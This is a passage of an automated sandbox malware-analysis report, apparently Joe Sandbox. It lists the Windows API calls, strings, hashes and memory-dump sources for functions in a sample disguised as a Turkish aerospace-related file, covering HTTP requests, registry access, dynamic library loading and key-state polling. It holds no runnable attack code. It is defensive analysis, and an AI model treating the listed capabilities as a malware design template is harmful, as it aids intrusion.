Instruction Fuzzy Hash: 7721D5B5A00109BEDB24ABB08C45DFFB779DF493A0F144519F955971E1DF3D480AB610

Function 0101182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0101184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 01011872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 010118A2
InternetCloseHandle.WININET(00000000), ref: 010118E9

Part of subcall function 01012483: GetLastError.KERNEL32(?,?,01011817,00000000,00000000,00000001), ref: 01012498
Part of subcall function 01012483: SetEvent.KERNEL32(?,?,01011817,00000000,00000000,00000001), ref: 010124AD

Strings

, xrefs: 01011893

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 43fd5fab9f5b564f7150085bf1316b9ee989889a10cec0ae5935da8dcf536d6d
Instruction ID: 828475eee851a34522e4e312a9770c3acfd0db540bd5549d3c312ef83794d03b
Opcode Fuzzy Hash: 43fd5fab9f5b564f7150085bf1316b9ee989889a10cec0ae5935da8dcf536d6d
Instruction Fuzzy Hash: 5E21B0B1500309BFEB259FA4DC84EBF77FDEB48684F10812AFA85D2144DB798D0597A1

Function 010263E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00FA1D73
Part of subcall function 00FA1D35: GetStockObject.GDI32(00000011), ref: 00FA1D87
Part of subcall function 00FA1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00FA1D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 01026461
LoadLibraryW.KERNEL32(?), ref: 01026468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0102647D
DestroyWindow.USER32(?), ref: 01026485

Strings

SysAnimate32, xrefs: 0102643C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: aa4a56b391e2231cbace15384f2738a75b04089293781a9b976458e1c724b7d1
Instruction ID: 448664710f8c720a092376b449f01b557a167af4c66bb2ece7c7b7eb2df7a8c4
Opcode Fuzzy Hash: aa4a56b391e2231cbace15384f2738a75b04089293781a9b976458e1c724b7d1
Instruction Fuzzy Hash: 8A218E71100226ABEF214E68DC54EBB77EEEB49364F108669FED093091DB369C419760

Function 01006D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 01006DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 01006DEF
GetStdHandle.KERNEL32(0000000C), ref: 01006E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 01006E3B

Strings

nul, xrefs: 01006E36

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: ef84e88fedac4017691ad1505a8213dc1462e2b33457c9b2d9b1796a4433a4bf
Instruction ID: 5c92dff753687d1a1634bf86fbfe8eb982f0bb1ac907fdcd0f3305ac17fc8daa
Opcode Fuzzy Hash: ef84e88fedac4017691ad1505a8213dc1462e2b33457c9b2d9b1796a4433a4bf
Instruction Fuzzy Hash: 2E21657190030AABEB31AF29D804A9A7BF9EF45720F20465AFDE1D72D0D7729964CB50

Function 01006E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 01006E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 01006EBB
GetStdHandle.KERNEL32(000000F6), ref: 01006ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 01006F06

Strings

nul, xrefs: 01006F01

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: a456e60df7737ea44d4a96b26407790c148c2d1444273ee9e97f07c2adb27ff4
Instruction ID: cb8671629d5c13721a06d3c54322c7c20ea60e8ac1df166889b59cffb00914c6
Opcode Fuzzy Hash: a456e60df7737ea44d4a96b26407790c148c2d1444273ee9e97f07c2adb27ff4
Instruction Fuzzy Hash: 3121907150034A9BFB319F6DD804AAA77E9AF45720F200A59FDE0D72C0D772A8618B60

Function 0100AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0100AC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0100ACA8
__swprintf.LIBCMT ref: 0100ACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,0102F910), ref: 0100ACFF

Strings

%lu, xrefs: 0100ACBB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: ca7154fa73ffec96ae5cda672f7d184923f3749f9474913372702f42aa76cdb0
Instruction ID: c7cb02d55cc12ff263c10eba01beb63b1f47e995571e915328e04faa648ad8e9
Opcode Fuzzy Hash: ca7154fa73ffec96ae5cda672f7d184923f3749f9474913372702f42aa76cdb0
Instruction Fuzzy Hash: 8F219D70A0020AAFCB20DF65CD45DAF7BB8EF4A714B1040A9F949EB251DA75EA01DB21

Function 01001AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 01001B19

Strings

EXISTS, xrefs: 01001B41
KEYS, xrefs: 01001B30
REMOVE, xrefs: 01001B1F
APPEND, xrefs: 01001B52

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 4d1704c76b5dec7f9d41e78c03ad7befba3f8e938b3559fdd3e2d1b04ae16071
Instruction ID: 613eb35d8fcfd2867fd70e85ae3036b7ab733731a7c8c6a56b11a7c2b38a0c02
Opcode Fuzzy Hash: 4d1704c76b5dec7f9d41e78c03ad7befba3f8e938b3559fdd3e2d1b04ae16071
Instruction Fuzzy Hash: F9115E70900209CF9F41EF64DD529EEB7B4FF16308F108499DCA467296EB3A9906DB50

Function 0101EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0101EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0101EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0101ED6A
CloseHandle.KERNEL32(?), ref: 0101EDEB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 833dc8c64ff9d35d41ed332ecab786e3c51a5c9eaa73afc82beab45ef85fb59c
Instruction ID: b06fb78e6a74a559550530f205e25c9d35719386ad36aea14c4c757f5290f5d0
Opcode Fuzzy Hash: 833dc8c64ff9d35d41ed332ecab786e3c51a5c9eaa73afc82beab45ef85fb59c
Instruction Fuzzy Hash: AB8170B16043009FD761EF28CC86F2EB7E5AF45750F44882DF999DB292DAB8AC41CB51

Function 01020037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 01020E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101FDAD,?,?), ref: 01020E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 010200FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0102013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 01020183
RegCloseKey.ADVAPI32(?,?), ref: 010201AF
RegCloseKey.ADVAPI32(00000000), ref: 010201BC

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 4611f82eb68c07f2e42fcd1a32b36072b98838b90dfdede43cdde339224f69b9
Instruction ID: 3e76dd712f2bcad6a2a9602c0c47b8ea55c2ff7d378d359225bd25486366b2f8
Opcode Fuzzy Hash: 4611f82eb68c07f2e42fcd1a32b36072b98838b90dfdede43cdde339224f69b9
Instruction Fuzzy Hash: EB516771208305AFD714EF68CC81EABB7E9AF84304F54492DF5898B2A1DB39E904DB52

Function 0101D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0101D927
GetProcAddress.KERNEL32(00000000,?), ref: 0101D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 0101D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 0101DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0101DA21

Part of subcall function 00FA5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,01007896,?,?,00000000), ref: 00FA5A2C
Part of subcall function 00FA5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,01007896,?,?,00000000,?,?), ref: 00FA5A50

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: a6451ffb7674827a13c76dbf1f3cfb8d63ca7f4d512aad6dbb5013354565f627
Instruction ID: cc02507f981e4b4026c39040790400c02636d3a4c002e940859b0a6f3d438f3e
Opcode Fuzzy Hash: a6451ffb7674827a13c76dbf1f3cfb8d63ca7f4d512aad6dbb5013354565f627
Instruction Fuzzy Hash: C9514D75A04209DFCB10EFA8C8889ADB7F5FF09310B5480A9E855AB312D739ED45CF90

Function 0100E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0100E61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0100E648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0100E687

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0100E6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0100E6B4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: dec6306a8418a2ceef8b2ac95cac7dd8269562fd61ae782d96045a615c11930d
Instruction ID: b18f85e0040bea1810062f1b14873571de40588ef574c70d0049ca027da7b59a
Opcode Fuzzy Hash: dec6306a8418a2ceef8b2ac95cac7dd8269562fd61ae782d96045a615c11930d
Instruction Fuzzy Hash: 4A516D75A00105DFDB01EF64C981AAEBBF5EF0A310F1480A9E849AB362CB79ED01DF50

Function 0102A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 019f4cd1bc63c8cb57a3e8a22c76a3a494e5922e9de6f3330648ab7260cb7d44
Instruction ID: 86d3b495afd07f999d79a4a75610a91bf4f263a9ab1d8cbdb599f11f1fff16b9
Opcode Fuzzy Hash: 019f4cd1bc63c8cb57a3e8a22c76a3a494e5922e9de6f3330648ab7260cb7d44
Instruction Fuzzy Hash: F341D635A04124EFD760DE28CC88FA9BFE4EB093A0F240595FA95A76D1CF349941DB50

Function 00FA2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00FA2357
ScreenToClient.USER32(010657B0,?), ref: 00FA2374
GetAsyncKeyState.USER32(00000001), ref: 00FA2399
GetAsyncKeyState.USER32(00000002), ref: 00FA23A7

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 84aaeae9cd3dfeaeb034db5ba7a63b30e71aa7434ca93466ea23b3b32ba5ed6d
Instruction ID: c17fba3df6f73ff3f0e5d266d8f7356af280121f7d8489b862e79a5a076fd8ad
Opcode Fuzzy Hash: 84aaeae9cd3dfeaeb034db5ba7a63b30e71aa7434ca93466ea23b3b32ba5ed6d
Instruction Fuzzy Hash: CF418275A04216FBCF259F68C848AEDBB75FF06370F24431AE86992290C735A950FF91

Function 00FF63AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FF63E7
TranslateAcceleratorW.USER32(?,?,?), ref: 00FF6433
TranslateMessage.USER32(?), ref: 00FF645C
DispatchMessageW.USER32(?), ref: 00FF6466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FF6475

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 7eb18e07b990360e296e880a6c0b45a08785996b4529e42a2787130654dfa6c4
Instruction ID: a4cca79a780bb7eb256d24bff6688ef1863b000907853a038de7f2115fe03d3c
Opcode Fuzzy Hash: 7eb18e07b990360e296e880a6c0b45a08785996b4529e42a2787130654dfa6c4
Instruction Fuzzy Hash: 3331A47190024BAFDB34DEB0DC44BB67BB8AF05360F140165E661C31B5EB2A9489F760

Function 00FF8A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00FF8A30
PostMessageW.USER32(?,00000201,00000001), ref: 00FF8ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00FF8AE2
PostMessageW.USER32(?,00000202,00000000), ref: 00FF8AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00FF8AF8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 979eeefc760281c6b393736082df04dc98c36510c0278e931c81adf70d7ab76e
Instruction ID: 2798de1dd123e797df6398bf4db45c764fe9ea074a0449f8e9a59333c3f2070c
Opcode Fuzzy Hash: 979eeefc760281c6b393736082df04dc98c36510c0278e931c81adf70d7ab76e
Instruction Fuzzy Hash: 5731D17190021DEBDB24CF68D94CAAE7BB5EF05365F104219FA25E62E0C7B49911DB90

Function 00FFB1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00FFB204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00FFB221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00FFB259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00FFB27F
_wcsstr.LIBCMT ref: 00FFB289

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: d0c02cc960b471f8689a70dbc57510f56196097017239e881497d184bd8a70e0
Instruction ID: 71ae68e068da40715e8b090744fd934a5badbf032306bd915a355973ff91566c
Opcode Fuzzy Hash: d0c02cc960b471f8689a70dbc57510f56196097017239e881497d184bd8a70e0
Instruction Fuzzy Hash: 02210332604206AAEB265A35DC09F7F7BACDF49760F10802DF904DA161EF659C41A360

Function 0102B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

GetWindowLongW.USER32(?,000000F0), ref: 0102B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0102B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0102B1CF
GetSystemMetrics.USER32(00000004), ref: 0102B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,01010E90,00000000), ref: 0102B216

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
